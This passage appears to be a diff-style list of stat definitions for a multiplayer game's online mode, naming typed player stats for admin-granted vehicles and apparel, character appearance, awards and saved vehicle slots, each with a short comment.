enter a vehicle + +(bool)UNLOCK_HIPSTER_TSHIRT_DOG // Add MP0_ or MP1_ // Toggle names on big radar +(bool)UNLOCK_HIPSTER_TSHIRT_VINYL // Add MP0_ or MP1_ // Toggle names on big radar +(bool)UNLOCK_HIPSTER_TSHIRT_MESS // Add MP0_ or MP1_ // Toggle names on big radar +(u64)CHALLENGE_LAUNCH_TIME // Add MP0_ or MP1_ // Toggle names on big radar +(int)NUMBER_OF_CHALLENGES_TODAY // Add MP0_ or MP1_ // Toggle names on big radar + +(int)MPPLY_VEHICLE_ID_ADMIN_WEB // Vehicle id of the vehicle that is to be made available in the website. + +(int)ADMIN_WEAPON_GV_BS_1 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_WEAPON_GV_BS_2 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_WEAPON_GV_BS_3 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_WEAPON_RM_BS_1 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_WEAPON_RM_BS_2 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_WEAPON_RM_BS_3 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(u64)ADMIN_WEAPON_POSIX // Add MP0_ or MP1_ // REMOVE THE TANK RP BY THE SCADMIN + +(int)ADMIN_VEH_GV_BS_1 // Add MP0_ or MP1_ // Give the player a vehicles in bitset 1 set by SCADMIN +(int)ADMIN_VEH_GV_BS_2 // Add MP0_ or MP1_ // Give the player a vehicles in bitset 2 set by SCADMIN +(int)ADMIN_VEH_GV_BS_3 // Add MP0_ or MP1_ // Give the player a vehicles in bitset 3 set by SCADMIN +(int)ADMIN_VEH_GV_BS_4 // Add MP0_ or MP1_ // Give the player a vehicles in bitset 4 set by SCADMIN +(int)ADMIN_VEH_GV_BS_5 // Add MP0_ or MP1_ // Give the player a vehicles in bitset 5 set by SCADMIN +(int)ADMIN_VEH_GV_BS_6 // Add MP0_ or MP1_ // Give the player a vehicles in bitset 6 set by SCADMIN +(int)ADMIN_VEH_GV_BS_7 // Add MP0_ or MP1_ // Give the player a vehicles in bitset 6 set by SCADMIN + +(int)ADMIN_VEH_RM_BS_1 // Add MP0_ or MP1_ // Remove from the player a buyable veh in bitset 1 set by SCADMIN +(int)ADMIN_VEH_RM_BS_2 // Add MP0_ or MP1_ // Remove from the player a buyable veh in bitset 2 set by SCADMIN +(int)ADMIN_VEH_RM_BS_3 // Add MP0_ or MP1_ // Remove from the player a buyable veh in bitset 3 set by SCADMIN +(int)ADMIN_VEH_RM_BS_4 // Add MP0_ or MP1_ // Remove from the player a buyable veh in bitset 4 set by SCADMIN +(int)ADMIN_VEH_RM_BS_5 // Add MP0_ or MP1_ // Remove from the player a buyable veh in bitset 5 set by SCADMIN +(int)ADMIN_VEH_RM_BS_6 // Add MP0_ or MP1_ // Remove from the player a buyable veh in bitset 6 set by SCADMIN +(int)ADMIN_VEH_RM_BS_7 // Add MP0_ or MP1_ // Remove from the player a buyable veh in bitset 6 set by SCADMIN + +(u64)ADMIN_VEHICLE_POSIX // Add MP0_ or MP1_ // Posix of when the last give/remove buyable veh through SCADMIN was applied. + +(int)ADMIN_VEH_RM_NONBY_1 // Add MP0_ or MP1_ // Remove from the player a non-buyable veh in bitset 1 set by SCADMIN +(int)ADMIN_VEH_RM_NONBY_2 // Add MP0_ or MP1_ // Remove from the player a non-buyable veh in bitset 2 set by SCADMIN +(int)ADMIN_VEH_RM_NONBY_3 // Add MP0_ or MP1_ // Remove from the player a non-buyable veh in bitset 3 set by SCADMIN +(int)ADMIN_VEH_RM_NONBY_4 // Add MP0_ or MP1_ // Remove from the player a non-buyable veh in bitset 4 set by SCADMIN +(int)ADMIN_VEH_RM_NONBY_5 // Add MP0_ or MP1_ // Remove from the player a non-buyable veh in bitset 5 set by SCADMIN +(int)ADMIN_VEH_RM_NONBY_6 // Add MP0_ or MP1_ // Remove from the player a non-buyable veh in bitset 6 set by SCADMIN +(u64)ADMIN_VEH_RM_NONBY_POSIX // Add MP0_ or MP1_ // Posix of when the last give/remove non buyable veh through SCADMIN was applied. + +(int)ADMIN_VEH_GV_NONBY_1 // Add MP0_ or MP1_ // Remove from the player a non-buyable veh in bitset 1 set by SCADMIN +(int)ADMIN_VEH_GV_NONBY_2 // Add MP0_ or MP1_ // Remove from the player a non-buyable veh in bitset 2 set by SCADMIN +(int)ADMIN_VEH_GV_NONBY_3 // Add MP0_ or MP1_ // Remove from the player a non-buyable veh in bitset 3 set by SCADMIN +(int)ADMIN_VEH_GV_NONBY_4 // Add MP0_ or MP1_ // Remove from the player a non-buyable veh in bitset 4 set by SCADMIN +(int)ADMIN_VEH_GV_NONBY_5 // Add MP0_ or MP1_ // Remove from the player a non-buyable veh in bitset 5 set by SCADMIN +(int)ADMIN_VEH_GV_NONBY_6 // Add MP0_ or MP1_ // Remove from the player a non-buyable veh in bitset 6 set by SCADMIN +(u64)ADMIN_VEH_GV_NONBY_POSIX // Add MP0_ or MP1_ // Posix of when the last give/remove non buyable veh through SCADMIN was applied. + +(int)ADMIN_APARTM_GV_BS_1 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_APARTM_GV_BS_2 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_APARTM_GV_BS_3 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_APARTM_RM_BS_1 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_APARTM_RM_BS_2 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_APARTM_RM_BS_3 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_APARTM_SLOT // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(u64)ADMIN_APARTM_POSIX // Add MP0_ or MP1_ // REMOVE THE TANK RP BY THE SCADMIN + +(int)ADMIN_CLOTHES_GV_BS_1 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_2 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_3 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_4 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_5 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_6 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_7 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_8 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_GV_BS_9 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN + +(int)ADMIN_CLOTHES_RM_BS_1 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_2 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_3 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_4 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_5 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_6 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_7 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_8 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(int)ADMIN_CLOTHES_RM_BS_9 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN + +(u64)ADMIN_CLOTHES_POSIX // Add MP0_ or MP1_ // REMOVE THE TANK RP BY THE SCADMIN +(int)ADMIN_PROG_GV_BS_1 // Add MP0_ or MP1_ // REMOVE THE TANK BY THE SCADMIN +(u64)ADMIN_PROGRESS_POSIX // Add MP0_ or MP1_ // REMOVE THE TANK RP BY THE SCADMIN + +(u64)TIME_NOTDROWNINWATER // Add MP0_ or MP1_ // Total time underwater. +(int)FM_CELLPHONE_BACKGROUND // Add MP0_ or MP1_ // Import export stats +(int)FM_CELLPHONE_THEME // Add MP0_ or MP1_ // Import export stats + +(packed)TUPSTAT_BOOL1 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)TUPSTAT_BOOL2 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)TUPSTAT_BOOL3 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)TUPSTAT_BOOL4 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)TUPSTAT_BOOL5 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)TUPSTAT_BOOL6 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)TUPSTAT_BOOL7 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)TUPSTAT_BOOL8 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)TUPSTAT_BOOL9 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)TUPSTAT_BOOL10 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)TUPSTAT_BOOL11 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. + +(int)PARACHUTE_CURRENT_PACK // Add MP0_ or MP1_ // Current parachute pack + +(int)DLC_APPAREL_ACQUIRED_23 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_24 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_23 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_24 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)MPPLY_DID_SAVE_TRANS // Did the player transfer saves from LG +(bool)WAS_CHAR_TRANSFERED // Add MP0_ or MP1_ // Was this character imported from Last Gen +(int)LAST_USED_PARACHUTE // Add MP0_ or MP1_ // save which one they used and initialise with that in the next corona +(int)BREATHING_APPAR_BOUGHT // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Number of silent kills +(int)GOLF_HOLE_IN_ONES // Add MP0_ or MP1_ // MP Char 0 - number of hole in ones +(int)TIME_FOR_ONE_ON_ONE_DM // Add MP0_ or MP1_ // Time limit for one on one death match +(int)LAST_USED_CUSTOM_VEHICLE // Add MP0_ or MP1_ // Time limit for one on one death match +(int)WALKING_STYLE // Add MP0_ or MP1_ // PLayers walking style +(int)CHAR_FM_STORED_HAIRDO_SA // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)CHAR_KIT_FM_PURCHASE10 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_KIT_10_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 1 +(int)CHAR_KIT_10_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 1 +(int)CHAR_KIT_10_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 1 +(int)MPPLY_VEHICLE_SELL_TIME // Timer for last sold vehicle +(int)FLY_UNDER_BRIDGES // Add MP0_ or MP1_ // Number of times flown under a bridge + +(int)NUM_TIMES_DRUNK // Add MP0_ or MP1_ // number of times drunk +(int)MONEY_SPENT_ON_VEHICLES // Add MP0_ or MP1_ // cash spent on vehicles +(int)MONEY_SPENT_ON_WEAPONS // Add MP0_ or MP1_ // cash spent on weapons +(int)MONEY_SPENT_ON_CLOTHES // Add MP0_ or MP1_ // cash spent on clothes +(int)TIMES_COMPLETE_PLANETAKE // Add MP0_ or MP1_ // Number of times flown under a bridge +(int)AUTO_EQUIP_HELMET // Add MP0_ or MP1_ // Number of times flown under a bridge +(int)AUTO_EQ_HELMET_FLY_VEH // Add MP0_ or MP1_ // Number of times flown under a bridge + +(int)CHAR_KIT_FM_PURCHASE11 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_KIT_11_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 1 +(int)CHAR_KIT_11_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 1 +(int)CHAR_KIT_11_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 1 + +(int)DLC_APPAREL_ACQUIRED_25 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_26 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_27 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_28 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_29 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_30 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_31 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_32 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_33 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_34 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_25 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_26 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_27 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_28 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_29 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_30 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_31 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_32 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_33 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_34 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)MPPLY_LTS_CREATED // MP Char 0 - PERSONAL -Has player completed the DM-creator tutorial +(int)CRPILOTSCHOOL // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CRDISTRICTCOPS // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)FM_CELLPHONE_QUICKLAUNCH // Add MP0_ or MP1_ // Phone stats + +(int)CHAR_KIT_FM_PURCHASE12 // Add MP0_ or MP1_ // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)CHAR_KIT_12_FM_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 1 +(int)CHAR_KIT_12_FM_EQUIP // Add MP0_ or MP1_ // MP Char 0 - Player Kit equipped bitset 1 +(int)CHAR_KIT_12_FM_VIEWED // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 1 +(int)MPPLY_DLC_WEAPON_COUNT // Did the player transfer saves from LG +(int)MPPLY_DLC_VEH_COUNT // Did the player transfer saves from LG + + + + + + + + + + + + + + + + + + +(int)CHAR_IS_NG_VERSION // Add MP0_ or MP1_ // for NG character creator +(int)CHAR_IS_NGPC_VERSION // Add MP0_ or MP1_ // for NG PC character creator +(int)CHAR_IS_NG_VERSION_SA // Add MP0_ or MP1_ // for NG character creator + +(int)TIMES_COMPLETE_DESTROYVEH // Add MP0_ or MP1_ // Number of times flown under a bridge +(int)TIMES_COMPLETE_DISTCOPS1 // Add MP0_ or MP1_ // Number of times flown under a bridge +(int)TIMES_COMPLETE_DISTCOPS2 // Add MP0_ or MP1_ // Number of times flown under a bridge +(int)TIMES_COMPLETE_DISTCOPS3 // Add MP0_ or MP1_ // Number of times flown under a bridge +(int)TIMES_COMPLETE_DISTCOPS4 // Add MP0_ or MP1_ // Number of times flown under a bridge + +(int)COMPLETEDAILYOBJ // Add MP0_ or MP1_ // Freemode activity phonecall +(int)COMPLETEDAILYOBJTOTAL // Add MP0_ or MP1_ // Freemode activity phonecall +(int)TOTALDAYCOMPLETED // Add MP0_ or MP1_ // Freemode activity phonecall +(int)TOTALWEEKCOMPLETED // Add MP0_ or MP1_ // Freemode activity phonecall +(int)TOTALMONTHCOMPLETED // Add MP0_ or MP1_ // Freemode activity phonecall +(int)CONSECUTIVEDAYCOMPLETED // Add MP0_ or MP1_ // Freemode activity phonecall +(int)CONSECUTIVEWEEKCOMPLETED // Add MP0_ or MP1_ // Freemode activity phonecall +(int)CONSECUTIVEMONTHCOMPLETE // Add MP0_ or MP1_ // Freemode activity phonecall + +(int)AWD_TAKEDOWNSMUGPLANE // Add MP0_ or MP1_ // Plane Takedown Fly Bye ~1~ smugglers' aircrafts taken down. +(int)AWD_ODISTRACTCOPSNOEATH // Add MP0_ or MP1_ // Distract Cops Over Here Distracted cops without dying ~1~ times. +(int)HEADSHOT_HELP_TEXT // Add MP0_ or MP1_ // Freemode activity phonecall +(int)MPPLY_PLATINUM_BOOLPLY_0 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)AWD_DAILYOBJCOMPLETED // Add MP0_ or MP1_ // Daily ObjectivesDaily Duty ~1~ Daily Objectives completed. +(bool)AWD_DAILYOBJWEEKBONUS // Add MP0_ or MP1_ // Daily ObjectivesGoal Oriented Completed a Daily Objective Weekly Bonus. +(bool)AWD_DAILYOBJMONTHBONUS // Add MP0_ or MP1_ // Daily ObjectivesOver Achiever Completed a Daily Objective Monthly Bonus +(int)AWD_LESTERDELIVERVEHICLES // Add MP0_ or MP1_ // Destroy Vehicle Auto Go ~1~ Lester target vehicles destroyed. +(bool)AWD_DRIVELESTERCAR5MINS // Add MP0_ or MP1_ // Destroy Vehicle JoyriderDrove the Lester target vehicle for 5 mins. + + +(packed)TUPSTAT_INT128 // Add MP0_ or MP1_ // Character Stat with Packed integers index 122. Takes up to 8 integers +(packed)TUPSTAT_INT129 // Add MP0_ or MP1_ // Character Stat with Packed integers index 123. Takes up to 8 integers +(packed)TUPSTAT_INT130 // Add MP0_ or MP1_ // Character Stat with Packed integers index 124. Takes up to 8 integers +(packed)TUPSTAT_INT131 // Add MP0_ or MP1_ // Character Stat with Packed integers index 125. Takes up to 8 integers +(packed)TUPSTAT_INT132 // Add MP0_ or MP1_ // Character Stat with Packed integers index 126. Takes up to 8 integers +(packed)TUPSTAT_INT133 // Add MP0_ or MP1_ // Character Stat with Packed integers index 127. Takes up to 8 integers +(packed)TUPSTAT_INT134 // Add MP0_ or MP1_ // Character Stat with Packed integers index 127. Takes up to 8 integers +(packed)TUPSTAT_INT135 // Add MP0_ or MP1_ // Character Stat with Packed integers index 127. Takes up to 8 integers +(packed)TUPSTAT_INT136 // Add MP0_ or MP1_ // Character Stat with Packed integers index 127. Takes up to 8 integers + +(float)FEATURE_0 // Add MP0_ or MP1_ // Next gen (Nose) +(float)FEATURE_1 // Add MP0_ or MP1_ // Next gen (Nose Profile +(float)FEATURE_2 // Add MP0_ or MP1_ // Next gen (Nose Tip) +(float)FEATURE_3 // Add MP0_ or MP1_ // Next gen(Brow) +(float)FEATURE_4 // Add MP0_ or MP1_ // Next gen (Cheek) +(float)FEATURE_5 // Add MP0_ or MP1_ // Next gen (Cheek Shape) +(float)FEATURE_6 // Add MP0_ or MP1_ // Next gen (Eyes) +(float)FEATURE_7 // Add MP0_ or MP1_ // Next gen (Lips) +(float)FEATURE_8 // Add MP0_ or MP1_ // Next gen (Jaw) +(float)FEATURE_9 // Add MP0_ or MP1_ // Next gen (Chin) +(float)FEATURE_10 // Add MP0_ or MP1_ // Next gen (Chin Shape) +(float)FEATURE_11 // Add MP0_ or MP1_ // Next gen (Neck) +(float)FEATURE_12 // Add MP0_ or MP1_ // Next gen (Chin Shape) +(float)FEATURE_13 // Add MP0_ or MP1_ // Next gen (Neck) +(float)FEATURE_14 // Add MP0_ or MP1_ // Next gen (Chin Shape) +(float)FEATURE_15 // Add MP0_ or MP1_ // Next gen (Neck) +(float)FEATURE_16 // Add MP0_ or MP1_ // Next gen (Chin Shape) +(float)FEATURE_17 // Add MP0_ or MP1_ // Next gen (Neck) +(float)FEATURE_18 // Add MP0_ or MP1_ // Next gen (Neck) +(float)FEATURE_19 // Add MP0_ or MP1_ // Next gen (Neck) +(float)FEATURE_20 // Add MP0_ or MP1_ // Next gen (Neck) + +(float)HEADBLENDOVERLAYCUTS_PC // Add MP0_ or MP1_ // Next gen (Neck) +(float)HEADBLENDOVERLAYMOLES_PC // Add MP0_ or MP1_ // Next gen (Neck) + +(int)ROCKSTAR_VERIFIED_HASH_0 // Add MP0_ or MP1_ // Rockstar verified job titles +(int)ROCKSTAR_VERIFIED_HASH_1 // Add MP0_ or MP1_ // Rockstar verified job titles +(int)ROCKSTAR_VERIFIED_HASH_2 // Add MP0_ or MP1_ // Rockstar verified job titles +(int)ROCKSTAR_VERIFIED_HASH_3 // Add MP0_ or MP1_ // Rockstar verified job titles +(int)ROCKSTAR_VERIFIED_HASH_4 // Add MP0_ or MP1_ // Rockstar verified job titles +(int)ROCKSTAR_VERIFIED_HASH_5 // Add MP0_ or MP1_ // Rockstar verified job titles +(int)ROCKSTAR_VERIFIED_HASH_6 // Add MP0_ or MP1_ // Rockstar verified job titles +(int)ROCKSTAR_VERIFIED_HASH_7 // Add MP0_ or MP1_ // Rockstar verified job titles +(int)ROCKSTAR_VERIFIED_HASH_8 // Add MP0_ or MP1_ // Rockstar verified job titles +(int)ROCKSTAR_VERIFIED_HASH_9 // Add MP0_ or MP1_ // Rockstar verified job titles + +(float)HEADBLEND_OVERLAY_BLUSHER // Add MP0_ or MP1_ // MP Char 0 - Head Blend Overlay Texture + +(int)TATTOO_FM_ALPHA_0 // Add MP0_ or MP1_ // MP Char 0 - Alpha Tattoos +(int)TATTOO_FM_ALPHA_1 // Add MP0_ or MP1_ // MP Char 0 - Alpha Tattoos +(int)TATTOO_FM_ALPHA_2 // Add MP0_ or MP1_ // MP Char 0 - Alpha Tattoos +(int)TATTOO_FM_ALPHA_3 // Add MP0_ or MP1_ // MP Char 0 - Alpha Tattoos +(int)TATTOO_FM_ALPHA_4 // Add MP0_ or MP1_ // MP Char 0 - Alpha Tattoos +(int)TATTOO_FM_ALPHA_5 // Add MP0_ or MP1_ // MP Char 0 - Alpha Tattoos +(int)TATTOO_FM_ALPHA_6 // Add MP0_ or MP1_ // MP Char 0 - Alpha Tattoos +(int)TATTOO_FM_ALPHA_7 // Add MP0_ or MP1_ // MP Char 0 - Alpha Tattoos +(int)TATTOO_FM_ALPHA_8 // Add MP0_ or MP1_ // MP Char 0 - Alpha Tattoos +(int)TATTOO_FM_ALPHA_9 // Add MP0_ or MP1_ // MP Char 0 - Alpha Tattoos +(int)TATTOO_FM_ALPHA_10 // Add MP0_ or MP1_ // MP Char 0 - Alpha Tattoos +(int)TATTOO_FM_ALPHA_11 // Add MP0_ or MP1_ // MP Char 0 - Alpha Tattoos +(int)TATTOO_FM_ALPHA_12 // Add MP0_ or MP1_ // MP Char 0 - Alpha Tattoos +(int)TATTOO_FM_ALPHA_13 // Add MP0_ or MP1_ // MP Char 0 - Alpha Tattoos + +(int)HAIR_TINT // Add MP0_ or MP1_ // MP Char 0 - Colour tints for char features +(int)EYEBROW_TINT // Add MP0_ or MP1_ // MP Char 0 - Colour tints for char features +(int)FACIALHAIR_TINT // Add MP0_ or MP1_ // MP Char 0 - Colour tints for char features +(int)BLUSHER_TINT // Add MP0_ or MP1_ // MP Char 0 - Colour tints for char features +(int)LIPSTICK_TINT // Add MP0_ or MP1_ // MP Char 0 - Colour tints for char features +(int)OVERLAY_BODY_1_TINT // Add MP0_ or MP1_ // MP Char 0 body overlays that players for bugs 2100360 2100361 +(int)SEC_OVERLAY_BODY_1_TINT // Add MP0_ or MP1_ // MP Char 0 body overlays that players for bugs 2100360 2100361 + +(int)MPPLY_PLAT_UP_LB_CHECK // Content from last to next gen + +(int)SEC_HAIR_TINT // Add MP0_ or MP1_ // MP Char 0 -Secondary Colour tints for char features +(int)SEC_EYEBROW_TINT // Add MP0_ or MP1_ // MP Char 0 -Secondary Colour tints for char features +(int)SEC_FACIALHAIR_TINT // Add MP0_ or MP1_ // MP Char 0 -Secondary Colour tints for char features +(int)SEC_BLUSHER_TINT // Add MP0_ or MP1_ // MP Char 0 -Secondary Colour tints for char features +(int)SEC_LIPSTICK_TINT // Add MP0_ or MP1_ // MP Char 0 -Secondary Colour tints for char features +(float)OVERLAY_BODY_2 // Add MP0_ or MP1_ // MP Char 0 body overlays that players for bugs 2100360 2100361 +(float)OVERLAY_BODY_3 // Add MP0_ or MP1_ // MP Char 0 body overlays that players for bugs 2100360 2100361 +(float)OVERLAY_BODY_1 // Add MP0_ or MP1_ // MP Char 0 body overlays that players for bugs 2100360 2100361 +(bool)SAVE_MIGRATION_CLEAR_STAT // Add MP0_ or MP1_ // If set to true archenemy stats are cleared when entering the mp game +(packed)NGPSTAT_INT8 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers +(packed)NGPSTAT_INT9 // Add MP0_ or MP1_ // Character Stat with Packed integers index 4. Takes up to 8 integers + + + +(int)MPSV_VEHICLE_BS_26 // Add MP0_ or MP1_ // Vehicle_26 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_26 // Add MP0_ or MP1_ // Vehicle_26 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_26 // Add MP0_ or MP1_ // Vehicle_26 premium paid by destroyer of vehicle +(int)MPSV_MODEL_26 // Add MP0_ or MP1_ // Vehicle_26 model enum of vehicle +(int)MPSV_FLAGS_26_XYZ // Add MP0_ or MP1_ // Vehicle_26 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_26 // Add MP0_ or MP1_ // Vehicle_26 cost of vehicle when purchased + +(u64)MPSV_LP0_26 // Add MP0_ or MP1_ // Vehicle_26 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_27 // Add MP0_ or MP1_ // Vehicle_27 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_27 // Add MP0_ or MP1_ // Vehicle_27 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_27 // Add MP0_ or MP1_ // Vehicle_27 premium paid by destroyer of vehicle +(int)MPSV_MODEL_27 // Add MP0_ or MP1_ // Vehicle_27 model enum of vehicle +(int)MPSV_FLAGS_27 // Add MP0_ or MP1_ // Vehicle_27 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_27 // Add MP0_ or MP1_ // Vehicle_27 cost of vehicle when purchased + +(u64)MPSV_LP0_27 // Add MP0_ or MP1_ // Vehicle_27 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_28 // Add MP0_ or MP1_ // Vehicle_28 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_28 // Add MP0_ or MP1_ // Vehicle_28 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_28 // Add MP0_ or MP1_ // Vehicle_28 premium paid by destroyer of vehicle +(int)MPSV_MODEL_28 // Add MP0_ or MP1_ // Vehicle_28 model enum of vehicle +(int)MPSV_FLAGS_28 // Add MP0_ or MP1_ // Vehicle_28 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_28 // Add MP0_ or MP1_ // Vehicle_28 cost of vehicle when purchased + +(u64)MPSV_LP0_28 // Add MP0_ or MP1_ // Vehicle_28 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_29 // Add MP0_ or MP1_ // Vehicle_29 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_29 // Add MP0_ or MP1_ // Vehicle_29 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_29 // Add MP0_ or MP1_ // Vehicle_29 premium paid by destroyer of vehicle +(int)MPSV_MODEL_29 // Add MP0_ or MP1_ // Vehicle_29 model enum of vehicle +(int)MPSV_FLAGS_29 // Add MP0_ or MP1_ // Vehicle_29 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_29 // Add MP0_ or MP1_ // Vehicle_29 cost of vehicle when purchased + +(u64)MPSV_LP0_29 // Add MP0_ or MP1_ // Vehicle_29 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_30 // Add MP0_ or MP1_ // Vehicle_30 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_30 // Add MP0_ or MP1_ // Vehicle_30 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_30 // Add MP0_ or MP1_ // Vehicle_30 premium paid by destroyer of vehicle +(int)MPSV_MODEL_30 // Add MP0_ or MP1_ // Vehicle_30 model enum of vehicle +(int)MPSV_FLAGS_30 // Add MP0_ or MP1_ // 